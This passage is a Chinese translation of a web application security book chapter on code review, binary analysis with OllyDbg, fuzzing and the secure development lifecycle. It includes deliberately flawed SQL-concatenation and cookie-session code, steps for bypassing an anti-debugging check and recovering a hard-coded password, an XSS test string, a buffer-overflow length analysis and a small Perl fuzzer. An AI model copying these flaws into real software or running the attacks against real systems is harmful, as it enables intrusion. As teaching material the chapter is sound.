exec('SELECT custid, last, first, mi, addy, city, state, zip FROM
customer WHERE username = ''' + @Username ''')
GO

SQL注入攻击可以通过进行合适的输入校验，尽可能使用参数化查询（ASP.NET）或者预处理语句（Java）来预防。

代码中的机密示例： Web开发者经常在代码中存储机密。你将在本章稍后的“二进制分析”小节中看到一个特别严重的例子，这个例子将展示坚决反对在代码中硬编码机密的原因。机密绝不应该存储在代码中。

如果存储机密是绝对必要的（例如用于非易失性的凭据存储），它们应该加密。在Windows上，应该使用数据保护API（DPAPI）加密机密并存储加密这些机密的密钥（链接参见本章结尾处的“参考与延伸阅读”小节）。Java加密扩展（Java Cryptography Extension，JCE）程序库自带的keystore可以用于在Java环境中存储加密密钥。

代码中授权错误的示例：我们在第5章中已经看到，Web开发人员往往试图实施自己的授权/会话管理功能，导致应用访问控制中可能存在漏洞。

下面是代码评审中看到的低质量的会话管理的一个例子。在下面的例子中，userID是个整数，也被用作session ID。userID还是User表的主键，从而使开发人员很容易跟踪用户状态。在成功登录时，session ID被设置为与userID相等。

<!-- The code is run on welcome page to set the session ID = user ID -->
Response.Cookies["sessionID"].Value = userID;

在后续页面中为了维护状态，从客户端请求该session ID，根据这个session ID向客户端回显相关的内容：

<!-- The following code is run on all pages -->
String userID = (String)Request.Cookies["sessionID"];

在这个例子中，userID存储在客户端的Cookie中，因此，暴露在简单的篡改之下，可能导致会话劫持。

对定制会话管理来说，显而易见的对策是使用现有的会话管理例程。例如，会话ID应该用流行的开发框架中的会话对象创建，例如Java EE提供的JSPSESSIONID或JSESSIONID，或者ASP.NET提供的ASPSESSIONID。应用服务器如Tomcat和ASP.NET提供久经考验的会话管理功能，包括可在web.xml和web.config中配置的在特定的不活动期之后使会话到期的选项。许多平台还提供了更高级的授权例程，例如Microsoft的授权管理器（Authorization Manager，AzMan）或者ASP.NET提供的启用基于角色访问控制（RBAC）的IsInRole。在Java平台上，许多框架都提供基于配置的RBAC，如Apache Struts。

低质量的会话管理对于应用的数据层可能有更深远的影响。继续我们前面的例子，我们假定来自cookie的userid传递给一个SQL语句，这条语句执行一个查询并返回与各自的userid相关的数据。这个方案的代码如下：

String userId = (String)cookieProps.get( "userid" );
sqlBalance = select a.acct_id, balance from acct_history a, users b " +
"where a.user_id = b.user_id and a.user_id = " + userId + " group by
a.acct_id";

这是相当经典的SQL语句连接，盲目地装配来自用户的输入，据此执行查询。对这样的SQL连接逻辑应该始终非常仔细地进行检查。

显然，前面关于使用存储过程和参数化查询代替原始SQL连接的建议在这里是适用的。但是，我们还要强调这个例子中授权的影响：简单地篡改客户端的cookie userid值将使攻击者获得对其他用户敏感信息的访问，在这个例子中是其他用户的账户余额。为了避免这类授权问题，会话ID管理应该由成熟的应用框架或者应用服务器进行，比如Microsoft的.NET框架或者Tomcat应用服务器，或者在数据库级别创建内存中的临时表来实现。后者一般不能很好地扩展到大的应用中，所以前者最为流行。

访问控制也可以使用各种框架如Java校验和授权服务（Java Authentication and Authorization Service，JAAS）和ASP.NET实现（参见“参考与延伸阅读”小节）。

生产应用中测试代码的示例：Web应用中最古老的代码级安全漏洞之一是在生产部署中留下测试或者调试功能。常见的例子是提供调试参数查看关于应用的附加信息。这些参数通常在查询串上或者作为cookie的一部分发送：

if( "true".equalsIgnoreCase( request.getParameter("debug") ) )
// display the variable
<%= sql %>

如果调试参数设置为“true”，整条SQL语句将在客户端显示。这个问题的另一个相似的例子是isAdmin参数。将这个值设置为“true”将授予应用的管理员等价权限，实际上导致了一次垂直权限提升攻击（参见第5章）。显然，调试/管理员模式开关应该在应用部署到生产环境之前删除。

10.2.2　自动化源代码评审

自动化代码分析可能远比人工分析高效，但是现代的工具却还很不全面，而且从来无法像评审人员那么精确。但是，有一些好的工具可用，而且在发行之前所发现的每一个简单的输入校验问题和运行后发现比起来，都有金子般的价值。表10-1列出了改进代码安全性的一些工具。

警告　这些工具不应该作为人工代码评审和安全编程实践的替代品。这些工具也可能有很高的假警报率，需要许多调整才能产生有意义的结果。

10.2.3　二进制分析

二进制分析是在机器码级别上分析二进制文件，一般不具备访问源代码所带来的好处（更多的背景信息参见本章结尾处的“参考与延伸阅读”小节）。历史上，二进制分析由一些公司在竞争的产品上进行，以理解应用的设计原理或者内部工作原理。最近，二进制分析已经成为了安全评估业界的支柱，因为它能够快速地查获软件病毒、蠕虫和其他恶意软件的功能。本小节将描述二进制分析在全知识Web应用安全评审中的角色，然后将二进制分析应用到样板Web应用的二进制文件，解说其基础知识。

表10-1　评估和改进代码安全性的工具

警告　进行二进制分析可能违反应用的最终用户许可协议（EULA），而且在某些情况下，代码的逆向工程可能形成犯罪。

二进制分析在全知识评审中的角色

在我们说明二进制分析的基本技术之前，澄清它在全知识Web应用安全评估中的作用是很重要的。

首要的问题是“如果我已经得到了源代码，为什么还要花费精力分析二进制文件呢？”许多安全研究人员发现，二进制分析对源代码评审是个强有力的补充，主要是因为二进制分析在原生部署环境中研究应用，就像应用实际运行一样。这一过程能够揭示独立查看源代码时不是很明显的许多其他问题。这些问题包括编译器对代码的修改，运行时环境引入的代码交互和变量，或者执行时才明显出现的竞争情况。

最重要的是，二进制分析能够识别第三方程序库引入的漏洞——甚至是那些用户没有源代码的程序库。在我们的咨询工作中，我们已经看到了新软件开发中使用了越来越多的外部代码。在许多情况下，这些组件的源代码都无法得到。因此，即使你是内部安全审计团队的成员，也不能确保拥有所有内部Web应用的源代码访问权，这就使得二进制分析成为审计人员工具箱的重要组成部分。

最后，要注意Web应用中编译后代码在历史上的重要性。我们在第1章中已经讲述过，Web来源于提供静态文档的技术，日益发展为提供动态、可伸缩、高性能的成熟机制。Microsoft互联网服务器应用编程接口（ISAPI）和Apache可加载模块是这种革新的最新例子。它们提供与Web服务器的编程集成，通常提供比外部通用网关接口（CGI）可执行程序快得多的应用性能。在高性能Web应用中使用ISAPI和Apache可加载模块已经很普遍；因此，我们在下一小节将使用ISAPI来说明实际的Web应用上的二进制分析。

二进制分析实例

在接下来的小节（以及本章的其他地方）中，我们将引用自己创建的一个ISAPI实例“secret.dll”。这个ISAPI的主要功能是从用户那里接收一个字符串，根据输入值显示“成功”或者“不成功”页面。secret.dll通过部署在Microsoft IIS Web服务器上的一个典型Web界面使用，因此可以通过HTTP访问，如图10-5所示。提供正确的密码就允许访问“成功”页面，否则就显示“不成功”页面。静态的密码存储在ISAPI DLL中，可以用来与用户的输入比较。本小节的目标就是说明在Windows平台上使用二进制分析获得这个密码的方法。在下面的讨论中假设secret.dll已经正常地安装和运行在一台Windows IIS机器上，而且，我们具有调试该系统的能力。

图10-5　我们的示例ISAPI DLL的Web界面

提示　如果你想跟着做，可以在http://www.webhackingexposed.com上下载Secret.dll。

调试基础

二进制分析的第一步是将目标二进制文件装入你喜欢的调试器中。在这个例子中，我们使用一个由Oleh Yuschuk编写的免费Win32调试器OllyDbg，。和Microsoft的WinDBG一样，OllyDbg是本书编写期间最易用的免费调试器之一。来自Hex-Rays的商用工具IDA Pro是另一个流行的调试套件。

图10-6展示了OllyDbg的主界面，包括CPU窗口，这时大部分调试工作发生的地方。CPU窗口包括5个面板：反汇编程序、信息、寄存器、内存转储和栈。反汇编程序面板显示在面板中选中的代码，寄存器面板解读当前选中线程的CPU寄存器内容，内存转储面板显示内存的内容，栈面板显示当前线程的栈。

图10-6　OllyDbg

可以在OllyDbg中（File|Open菜单）直接打开应用进行调试，或者将OllyDbg关联为运行应用进程（File|Attach|进程EXE名称|Attach）。在活动的应用处理输入时进行调试是逆向工程的最佳途径，所以我们对secret.dll采用这个方法。因为secret.dll是一个ISAPI，所以它在IIS Web服务器进程中运行。我们将使用OllyDbg（File|Attach|inetinfo.exe|Attach）关联到IIS主进程（inetinfo）。

关联之后，我们很快发现secret.dll包含一个IsDebuggerPresent函数，在我们试图单步执行时终止运行。这种技术常用于阻止调试，但是很容易避开。最简单的方法是装入OllyDbg的命令行插件（Alt+F1），插入如下命令：

set byte ptr ds:[fs:[30]+2]] = 0

这条命令设置IsDebuggerPresent API始终返回“false”，实际上掩盖了调试程序的存在。

还有一个办法，可以在IsDebuggerPresent函数上设置一个断点，手工将其值设置为0。这种方法需要更多的精力，在这里描述是因为它能说明一些基本的调试技术。我们首先重新装入secret.dll（用OllyDbg的Ctrl+F2快捷键），当调试程序暂停时，加载命令行插件（Alt+F1）在函数调用IsDebuggerPresent上设置一个断点（输入bp IsDebuggerPresent），如图10-7所示。

图10-7　在IsDebuggerPresent函数上设置断点

提示　插件应该显示为工具栏的一部分；如果没有，就需要设置插件路径。设置的方法是浏览到Options|Plugin path菜单，更新插件的位置（一般来说是OllyDbg的主目录）。

我们继续加载DLL（Shift+F9）直到到达IsDebuggerPresent断点（在图10-8中最上面的箭头所指处）。接着我们执行下两条指令（Shift+F7）并且在图10-8的第二个箭头上停下来。在反汇编程序面板上单击右键，选择Follow from Dump|Memory Address，内存转储面板中显示IsDebuggerPresent函数的位置和值。位置为7FFDA002，内容为

01 00 FF FF FF FF 00 00 40 00 A0 1E 19 00

右键单击字符串中的第一个值（01）选择Binary\Fill With 00's，将会把函数的结果更新为00，如图10-8中下面的两个箭头所示。

图10-8　绕过IsDebuggerPresent函数

现在我们已经人工修改了IsDebuggerPresent API的返回值，使其始终为0。因此，这个DLL现在在加载时不会因为OllyDbg的存在而终止。

二进制分析技术：现在，我们可以开始学习二进制分析的基本要点了。我们将要使用的主要技术包括：

·枚举函数：我们将查找常与安全问题相关的函数，比如字符串API如strcpy和strcat。

·识别ASCII字符串：这些字符串包括隐藏的密码字符串，也可能指出常见的例程（可以为我们“映射”二进制文件的功能，有助于进一步分析）。

·单步运行关键功能：我们获得函数和字符串的基本清单之后，就可以单步运行二进制，在感兴趣的例程上设置断点等。这最终将揭示所有关键的安全漏洞。

首先，我们列举secret.dll使用的所有函数。回到OllyDbg中，从加载的可执行模块列表（View（查看）|Executable Modules（可执行模块））中右键单击secret.dll，选择View Names显示secret.dll使用的函数列表。这个列表包含了输入和输出的函数调用。人们可能感兴趣的一些函数包括strcpy和strcat（因为使用这些较旧函数进行字符串操作常常容易遭到缓冲区溢出攻击），还有memcpy（也有类似的问题）。这些有问题的C/C++函数都有很好的文档；只要在互联网上搜索“不安全的C/C++函数”就能得到很多好的参考。

提示　函数调用也可以使用命令行工具dumpbin.exe转储，这个工具由Visual C++提供（dumpbin/EXPORTS secret.dll）。

右键点击加载了secret.dll的反汇编程序面板，选择Search For（搜索）|All Referenced Text Strings（所有引用字符串）识别secret.dll中的ASCII字符串。

提示　“strings”工具也可用于提取secret.dll中的ASCII字符串。

最后，我们探查一些更有诱惑力的函数，更进一步地分析secret.dll的关键功能。首先，右键单击MSVCR71.strcpy，选择输入引用，弹出一个带有引用列表的新窗口，我们将在应用上设置断点（OllyDbg的F2快捷键能够很方便地设置断点）。在MSVCR71.strcat和MSVCR71.memcpy上重复同样的工作。

我们还将在反汇编程序窗口中点击右键，选择Search For|All Referenced Text Strings在ASCII字符串上设置断点。我们立刻侦查到在输出中有趣的内容：“You don抰have a valid key，The key you attempted was”（你没有有效的密钥，你所输入的密钥是……”。这可能是无效字符串输入时回显的错误信息，可能指向将密码字符串与输入比较的函数！

提示　在某些应用中，开发人员将错误信息修改为字符数组避免这种攻击，使得寻找字符串更难一些。

现在让我们来为secret.dll提供一些实际的输入，看看它所展示的。我们浏览到图10-5中的网页，输入任意字符串AAAAAAAA。OllyDbg在“Failed Secret Test”错误信息处暂停。右键单击反汇编程序面板，选择Analysis（分析）|Analyze Code（分析代码）。在分析完成之后，查看断点上的几行代码，我们注意到另一个ASCII字符串“SecurityCompass”，如图10-9所示。

进一步研究这些代码，我们注意到字符串“SecurityCompass”在与Arg2进行比较。Arg2被赋值为通过Web传递的值，并且使用EDX寄存器压入栈（内存位置1000117D）。一旦这两个值装入栈，在函数调用里就进行比较（内存位置10001183 CALL secret.10001280）。结果是更新EAX寄存器。该寄存器被设置为1或者0。如果EAX（TEST EAX，EAX）为9，转移到“失败信息”；否则，跳转到“成功信息”。因此如果在Web界面中输入“SecurityCompass”字符串，就会显示“成功信息”；否则就显示“失败信息”。中奖了！我们发现了这个Web应用的“开门咒语”。

等等——还有更多！继续执行下面几行指令（使用OllyDbg Shift+F9快捷键），执行应该在strcat断点暂停。我们将在src和dst处加入更多断点，这两处是strcat的参数。接着我们返回并且再次向应用提供任意输入，在调试器中查看执行情况。应用现在应该在src处停止，这个位置应该包含从界面传递过来的字符串“SecurityCompass”，而dst应该包含“成功信息”字符串。因此，strcat用于生成最终回显给客户的字符串。

图10-9　在secret.dll中发现了有趣的ASCII字符

我们前面已经说过，strcat是具有著名的安全问题的C/C++字符串操纵函数。例如，strcat不取任何最长长度值（和更安全的strncat不同）。因此，足够长的字符串传递给ISAPI时可能造成不正常的行为。为了确定在ISAPI可能成为问题的长度，审核strcat函数周围的代码将会得出赋予目标值的最大长度，如图10-10所示。

图10-10　跟踪strcat函数

目标使用LEA ECX，DWORD PTR SS:[EBP-98]指令装入栈内。因此，可以存储的最大值是16进制的98，也就是10进制的152（在程序里声明的空间是140个字节，剩余的字节数用于对齐）。提供超过152个字符的输入可能造成secret.dll的缓冲区溢出。152个字符还包括回显给客户端的整个页面（104个字符）。所以，发送大约152个字符长的字符串将使应用崩溃。

注意　如果禁用C++错误处理编译器选项，可能得到更详细的错误。

这里能想起来的另一种简单的攻击是跨站脚本，因为secret.dll似乎不进行任何输入净化。我们可以将如下输入发送到Web输入界面测试这种漏洞：

<script>alert('ISAPI XSS')</script>)

总地来说，进行二进制分析不仅有助于找到密码，还可以发现应用中的缺陷！

10.3　Web应用代码安全测试

如果代码评审足以捕捉所有安全缺陷不是很好吗？遗憾的是，由于种种原因，情况并非如此，主要的原因是没有完美的安全评估机制。因此，不管在应用上进行哪一种级别的代码评审，在现实环境中严格的代码安全测试也总是会发现更多的缺陷，其中一些还相当严重。这一小节将详细说明Web应用安全测试的一些关键方面，包括：

·模糊测试（Fuzz-testing）

·测试工具、实用程序和框架

·渗透测试

10.3.1　模糊测试

模糊测试向应用发送任意恶意构造的数据，企图使其出现意外的表现。通过分析响应，评估者可以识别可能的安全漏洞。关于模糊测试已经发表了许多文章和书籍，所以冗长的讨论超出了范围，我们将简短地讨论现成的模糊测试程序以及自己制作的变种。关于模糊测试的更多信息，参见本章结尾处的“参考与延伸阅读”小节。

当然，模糊测试在黑盒测试期间也会进行。在本小节中，我们将关注于白盒方案中的模糊测试，也就是使用与目标应用挂钩的调试程序，可以很轻松地识别和诊断故障。

现成的模糊测试程序

有许多现成的模糊测试程序。较好的一个是Spike，它聚焦于C和C++应用。Spike Proxy对Web应用运用相同的模糊方法。它用Python编写，进行包括SQL注入、表单输入域溢出和跨站脚本等输入校验和授权攻击。

Spike Proxy的启动是通过运行一个批文件（runme.bat），然后配置浏览器使用本地Spike代理服务器（本地主机上的8080端口）。接下来，你只要连接到目标Web应用就行了。Spike Proxy接管连接，创建一个可从http://spike访问的测试控制台。这个控制台列出对应用的可能攻击技术，包括“目录潜入”、“参数扫描”、“目录扫描”、“溢出”和“XML漏洞”测试。选择单独的链接对应用进行这些攻击，Spkie在浏览器下方的框架中显示扫描结果。

Spike Proxy也可用于寻找我们为二进制分析创建和使用的secret.dll ISAPI中的漏洞。和前面的小节中所看到的一样，向所要分析的应用“投掷”在调试时能够“捕捉”的东西是非常有用的，因为它能在运行中解释代码的关键特征。模糊测试程序就是很好的“投掷物”。

例如，为了发现secret.dll ISAPI中的漏洞，和以前一样装入OllyDbg并且关联到Web服务器进程。启动Spike Proxy浏览应用，然后浏览本地Spike界面（http://spike）。选择溢出对ISAPI进行缓冲区溢出攻击。

正如你在“二进制分析”小节中使用OllyDbg所看到的那样，从URL传递的字符串装入到EDI中。这个字符串写入栈，在栈面板上能看到。超长的字符串使ISAPI崩溃。访问违规是ISAPI崩溃的象征。EAX和ECX被覆盖为41414141（AAAA的16进制表现），如图10-11所示。

图10-11　使用Spike Proxy进行缓冲区溢出测试时，OllyDbg显示secret.dll中有访问违规

构建你自己的模糊测试程序

任何脚本语言都可以用来构建你自己的模糊测试程序。cURL和netcat等实用程序也可以封装在脚本中，简化创建基本HTTP请求-响应功能所需要的工作。当然，为了更高的性能，用C/C++编写模糊测试程序总是更好些。

下面是一个对我们的secret.dll ISAPI Web应用实例发出POST请求的示例Perl脚本。注意，我们创建了一个循环例程，反复发出多个请求，包含随机数量的（1~50个之间）“A”。

#!/usr/local/bin/perl -w
use HTTP::Request::Common qw(POST GET);
use LWP::UserAgent;
$ua = LWP::UserAgent->new();
$url = "http://127.0.0.1/_vti_script/secret.dll";
//Loop
for ($i=0; $i <= 10; $i++)
{
//Random A's generated
$req = $ua->post( $url, [MfcISAPICommand => SecretProc, Secret => 'A'x
int(rand(50))]);
my $content = $req->content;
print $content;
print "\n\n";
}

这个脚本是非常基本的模糊测试程序。

警告　对实际的应用进行模糊测试可能导致它出现异常的表现，往往导致拒绝服务的情况。确保你预先进行了合适的计划，并且在进行模糊测试之前得到了所有应用和服务器所有者的授权。

10.3.2　测试工具、实用程序和框架

还有许多其他工具可用于一般的Web应用测试，但是在本书编写的时候，市场才刚刚开始出现聚焦于Web应用安全的质量保证（QA）测试工具。Hewlett-Packard提供一些更加流行的通用Web应用测试工具，例如Quality Center，包含了一些安全测试功能。Hewlett-Packard的QAInspect是专门针对Web应用安全的少数工具之一。

我们发现许多开发机构喜欢使用低成本（或者免费）的HTTP分析软件将自己的测试套件拼凑到一起。可以用于创建测试框架的HTTP分析实用程序的列表参见第1章。

10.3.3　渗透测试

渗透测试（pen-testing）最恰当的描述是“与有经验的攻击者的对抗”。还有其他的术语被用于描述这一概念：虎队测试（tiger team testing）、道义黑客入侵（ethical hacking）等。定义中的“有经验”这个词很关键：我们多次发现渗透测试得出的结果与进行测试的人员技能成正比。

我们坚信渗透测试应该加入到每个产品的常规开发过程中，至少在每个主要发行版本中。因为Web应用比传统软件应用更常变化（往往每周都有固定的更新），我们建议对高价值的Web应用至少每年或者半年进行渗透测试审核。

渗透测试需要特殊的人员，这些人确实喜欢对其他人构建的技术产品进行回避、破坏或者篡改。在我们合作过的大部分组织中，很少有人在心理上和实际上很适合进行这种工作。在长时间中保持一个内部渗透测试团队就更加困难，因为在良好的渗透测试技能和管理层在预算过程中认识到的价值之间存在着“认知错误”和经常的不一致。因此，我们建议认真地评估内部人员执行渗透测试的能力，充分考虑由外部服务提供商来进行这项工作。第三方人员的好处是公正，这一好处可以在外部谈判或者市场活动中得到利用。例如，向可能的合作伙伴说明第三方渗透测试的定期进行可能在竞争性的外包方案中展现出差异。

如果你选择雇用第三方渗透测试人员来攻击你的产品，下面是争取最大投资回报时要考虑的关键问题：

·时间表：理想的情况下，渗透测试在Beta代码可用之后进行，但是在交付日期之前渗透团队应该识别出严重的问题并且留有足够的时间进行重大的修改。是的，这是一条不错的路线。

·联络人：确保管理人员准备好了向渗透测试人员提供测试信息所必需的产品团队人员。这将需要与测试人员的充分磨合，使他们取得对你的产品必要的了解，以便取得好的结果。

·交付的结果：渗透测试人员常常在活动结束之后提交一份从未有人看过的文档报告。这个报告在某人的桌上闲置着，直到许多个月之后意外地出现在年度审计中，这时候已经失去了许多重要的修改时机。我们建议让渗透测试人员熟悉你的内部缺陷跟踪系统，并且随着工作的进行直接将问题提交给开发团队。

最后，不管你选择何种安全测试方法，我们都强烈建议所有测试集中在威胁建模中要求优先处理的风险上。这将使你的整个测试工作保持连贯和一致性，不断取得减少严重安全漏洞的成果。

10.4　Web开发过程中的安全

我们已经讨论了组成全知识分析方法的许多做法，包括威胁建模、代码评审、安全测试以及自动化这些过程的Web安全技术。明智的组织越来越多地将这些完全不同的工具和过程编排到应用开发生命其中，从而成为开发过程本身的固有部分。Microsoft已经推广了“安全开发生命期”（Security Development Lifecycle，SDL）一词来描述其在开发过程进行的安全最佳实践的整合（更多关于SDL的信息参见“参考与延伸阅读”小节中的链接）。我们鼓励你阅读Microsoft对SDL实现的完整描述。同时，我们也要在这里论述在咨询工作中所发现的关于SDL重要方面的一些现象。我们围绕业界推崇的“人员、过程和技术”三个环节来组织我们的思路。

10.4.1　人员

人员是任何半自动化过程如SDL的基础，所以在组织中实现SDL过程时一定要考虑如下几点。

获得文化上的认可

许多安全书籍的开头都建议在实施广泛的安全倡议（如SDL）之前“获得管理层认可”。老实说，管理层的认可只有在开发人员听命于管理层时有用，而在我们的咨询经历中，情况并不总是如此。无论如何，不管管理层多么支持安全团队，某种程度的草根阶层认可总是必须的；否则SDL将无法达到显著改进应用安全的程度。确保在组织的所有级别上传导和引领你的SDL实现，确保它获得广泛的认可，让大家理解这是对于改进产品质量的合理和实际的机制（从而成为底线）。对这一点的强调将大大地增强SDL成为企业物化的一部分的可能性，而不只是每个人都在模仿的强制性过程（想想电影《Office Space》 [1] 中的TPS报告）。

任命开发团队的安全联络人

开发团队必须理解，他们最终要对产品的安全负责，除了将这作为团队成员工作描述的一部分之外，没有其他办法能更好地完成这项义务。而且，希望企业核心安全团队的成员获得开发团队“局部”成员（对不同发行版本）的专业性是不现实的，核心安全团队需要关注多个项目，一个“在场”的代理人是必不可少的。通过单一的联络点沟通培训和过程倡议也更有效。

警告　不要犯让安全联络人负责应用安全的错误。这仍然是开发团队领导者的责任，这种责任不应该属于直接负责该应用的管理层之下的任何组织。

培训

大部分人员如果没有经过教育都无法做正确的事情，对于开发人员（在紧张的时间安排下，他们甚至连拼写“安全”这个词都有困难）这也是绝对的真理。因此，培训是SDL的重要组成部分。培训有两个主要目标：

·学习有组织的SDL过程

·传授与组织相关的通用安全编码最佳实践

开发课程，记录出席人数和理解程度，并且再次在管理层级别上保持团队的责任心。

提示　从头开始开发人员安全培训计划往往很困难，特别是考虑到对生产率可能的影响时。考虑使用渗透测试的结果来驱动最初的草根培训活动，集中关注业务相关应用中发现的具体问题。

雇用合适的人员

一旦定义了Web SDL计划，在计划中配备能力相称的人员是很重要的。寻找好的“匹配”需要人际关系、技能和精心设计的角色之间得当的平衡。我们无法帮助你处理神秘的人际关系，但是有一些点子能够帮助你了解其他方面。

企业常常低估成功的应用安全自动化计划的复杂分析需求，因此，经常难以寻找合适类型的人员来组成团队。按照我们的看法，“合适”的人员具有多种重要的特征：

·对常见软件安全威胁和缓解以及相关历史趋势的热情和技术上的深入了解。

·对操作性的安全概念（例如TCP/IP安全、防火墙、IDS、安全补丁管理等）的深入理解。

·软件开发经验（理解业务需求、用例方案、功能规范以及代码的开发方法）。

·强大的项目管理技能，特别是同时跨越多个活跃项目的多任务能力。

·跨越整个组织结构和应用的技术知识。

·区分和表达业务过程中的技术风险的能力，不会对自动化应用评估工具产生的不可避免的噪声发出错误的警告。

显然，找到同时具有这些技能的人很困难。不要期望一下子找到几十个这样的人——在你的人员配备估算中保守一些，将你的整体计划目标与人员挂钩。

按照我们的经验，找到这样的人员实际上不可能，大部分招聘管理人员必须作出妥协。我们的建议是寻求雇用同时具有软件开发和安全背景的人，而不是纯粹的安全运作背景。我们发现向有经验的软件开发人员传授安全知识比向安全运作专家传授软件开发要容易一些。获得这两个方面最佳结果的另一个简单的办法是成立两个单独的团队，分别负责架构/安全运作和应用安全。这种结构也能提供可行的职业能力建设，从基本的故障工单响应开始，发展到更有策略性的与应用开发团队的交互。

组织结构和角色

在我们的经验中，应用评估计划的最有效实施与现有开发QA和运行支持过程紧密相关。这里的难题在于分配不同团队的目标，这些团队通过企业不同的部门提出报告：IT运作，安全/风险管理，内部审计，软件开发（可能分布到不同的业务单位）。

经验告诉我们，在狐狸和鸡（比喻的说法）之间的组织独立性越强越好。实际上，这意味着将安全评估从应用开发和运作支持上分离出来。

另外，我们发现许多组织结构中安全的责任属于软件QA组织或者IT运作部门。在大多数情况下我们不建议这么做，因为交付应用和交付安全应用的着眼点之间存在潜在的冲突（类似于让狐狸去保卫鸡笼）。很多时候，我们都发现了提供外部检查和软件开发/支持过程（往往在未考虑安全之前定下的不实际的最后期限下进行）的平衡的重要性。

为了避免使软件开发组的成功依赖于外部力量所造成的不满，我们再次强烈建议提供具有软件开发背景的安全项目专家。这种人员对于预防开发过程中“避开安全”的文化氛围大有帮助。

[1] 《Office Space》——美国电影，中文译名《上班一条虫》，描写了现代上班族乏味的生活以及试图打破常规的心情。——译者注

10.4.2　过程

为了SDL概念的连贯性，你可以将本章的主要部分都当做软件开发过程的一个里程碑。例如，威胁建模发生在设计时，代码评审在实现之后，而安全测试发生在最终发行版本的alpha和beta测试期间。其他里程碑包括开发人员培训或者发行前安全审计/评审在合适的时候也可以使用。图10-12展示了覆盖了SDL里程碑（培训和威胁建模等）的虚构软件开发生命期。

图10-12　SDL实现示例

除了将安全当做现有开发过程上的覆盖层之外，更全面的过程设计对于长期的成功是很关键的。接下来，我们将设计一个完整的“安全工作流”来编排一些关键步骤。

我们在IT业界的许多经历中学习到，首先要避免的是“从头开始”综合症。在任何有能力的中到大型企业IT开发机构中，几乎肯定已经存在了一些基础支持架构。我们对希望建立强有力的Web安全计划的人们的第一个建议是：利用现有的资源！这涉及预先的认真研究。了解当前组织的应用开发质量保证（QA）过程的工作方式以及其中最有效的整合点。对于将要整合到生产应用支持过程的自动化工具来说这也同样重要，你必须理解当前运作的基础支持架构的工作方式，从数据中心中实际上接触服务器的“智能双手（Smart hands）”承包人，到在印度的电话银行工作的第1层支持承包人，通过第2层和第3层的系统工程师，一直传递到“第4层”最终在必要时接受升级的开发团队成员（以及他们的管理层）。认真思考你的评估方法和工具集和现有层次的整合方式，以及现有过程所需的一些重要调整的位置。

在我们的经验中，需要考虑的重要问题包括：

·管理层的理解与支持：主管人员应该理解评估过程与整体业务风险管理计划的关系，全方位地予以支持（但是，不一定深入了解实施细节）。

·角色和责任：管理层还应该清晰地理解对于评估计划发现的问题的组织责任。最明智的可能是遵循刚刚概述过的责任模型，从第×层的运营人员一直到给定应用的最高级执行“所有者”。

·安全策略：这一策略应该简单、在组织中得到广泛理解，并且实际可行。最低限度，它应该描述计算标准、识别违反策略的关键条件，以及预计的弥补过程。安全策略还应该考虑相关的管理标准，如支付卡行业数据安全标准（Payment Card Industry Data Security Standard，PCI-DSS）。如果不存在好的策略，你就需要编写这样一个策略！

·与现有SDL的集成：从Web安全方面的发现到开发人员的桌面之间，应该有一个精心记录相关缺陷类型和严重程度的途径。你还应该考虑在SDL中的不同时间点上评估的适用性（例如，投产之前和投产时）。

·IT故障标签系统：如果你选择的自动化工具不能很好地集成，那么项目在开始之前就已经死亡。不要计划实施自己的“安全”标签系统——当你发现必须雇用重复的第1层支持人员来处理这些警告时，将会感到后悔。在部署投产之前要进行全面的测试和调整。

·事故响应过程：如果没有严格的组织事故响应过程，你就必须尽快地催促管理层完成它。否则，安全团队在现有过程无法应付大量的警报时会显得笨拙。

·事后分析：我们已经发现许多组织无法从事故或者过程失效中得到教训；确保你在整体计划中包含健全的事后分析过程。

·过程文档：在我们的经验中，外部审计最常发现的问题是缺乏过程文档（我们有许多证据！）。别不把这当一回事——如果组织中还没有一个标准操作说明的可用存储库，那么就分配相关的资源创建一个。

·教育：就像在软件开发人员的案头放上一本“安全编码”书籍并不能构成一个安全性SDL一样，在系统工程师的桌面上安装一个最新的应用安全扫描程序也是无效的。对所有级别的用户提供持续的系统使用培训，记录参与情况，测试对系统的理解，保持管理人员的责任心。

·有意义的衡量体系：上面的所有建议都很好，但是假定你实施了所有或者部分建议，你如何知道它们的有效性？安全度量可能令人乏味，在任何一个学科中实现有意义的性能管理都很困难（更不用说软件开发了），但是对于确保有效的软件质量证明所需要的大量投资的回报来说没有更好的途径。不要畏缩，鼓励关键的利益方，谦虚、实际地推进这个体系。

显然，上述的这些只是很简短的概述，具体的主题可能相当复杂。我们希望这能让你开始对这些领域的进一步研究。

10.4.3　技术

当然，技术是任何SDL实现中的关键组成部分。它能够自动化一些较为单调乏味的组件（例如源代码评审），提高SDL过程的效率。SDL也应该在整个开发过程中规定一致的技术标准，例如编译时参数（例如，Microsoft的/GS标志），标准输入校验例程的加入，以及不安全或者引起麻烦的功能的禁止。下面是与这些主题相关的主要关注点。

自动化代码评审技术

随着安全性持续地获得商业上的重视，市场将会持续地出现安全代码评审和测试技术。我们已经看到本章前面的表10-1中的一些例子。确保你的SDL工具集最新，这样你的应用面对的尖端零日攻击的风险就会较少。

托管执行环境

我们强烈建议将你的Web应用移植到托管开发平台如Sun Java（http://www.oracle.com/technetwork/java/index.html）或者Microsoft.NET框架（http://www.microsoft.com/net/）中（如果你还没有这么做的话）。使用这种环境开发的代码利用强大的内存管理技术，在受到保护的安全沙箱中运行，大大地降低了安全漏洞的可能性。

输入校验/输出编码程序库

几乎所有软件破解都依赖输入以未预期的方式处理这一假设。因此，软件安全所追求的是严密的输入校验（还有输出编码）。大部分软件开发机构使用正则表达式匹配（http://www.regexlib.com/有很好的提示）草率地制作自己的输入校验例程。对于输出编码，Microsoft也发布了一个防XSS程序库，可以集成到.NET应用中。如果可能，我们建议使用这些输入校验程序库，将尽可能多有害的输入驱离你的应用。

如果你选择实现自己的输入校验例程，记住下面的输入校验基本原则：

·将预期的用户输入数量限制为最低，特别是自由形式的输入。

·在整个应用中，假设所有输入都是恶意的并且照此进行处理。

·任何时候都不要自动地信任客户输入。

·在进行任何检查或者校验之前规范化所有输入。

·限制你的应用接受的可能输入（例如，邮政编码域只接受5位数字）。

·拒绝所有不满足这些约束的输入。

·净化余下的所有输入（例如，删除&'><等可能被转换为可执行内容的元字符）。

·对输出进行编码，这样即使有潜入的内容，也会无害地交付给用户。

提示　更多输入校验攻击和对策参见第6章。

平台改进

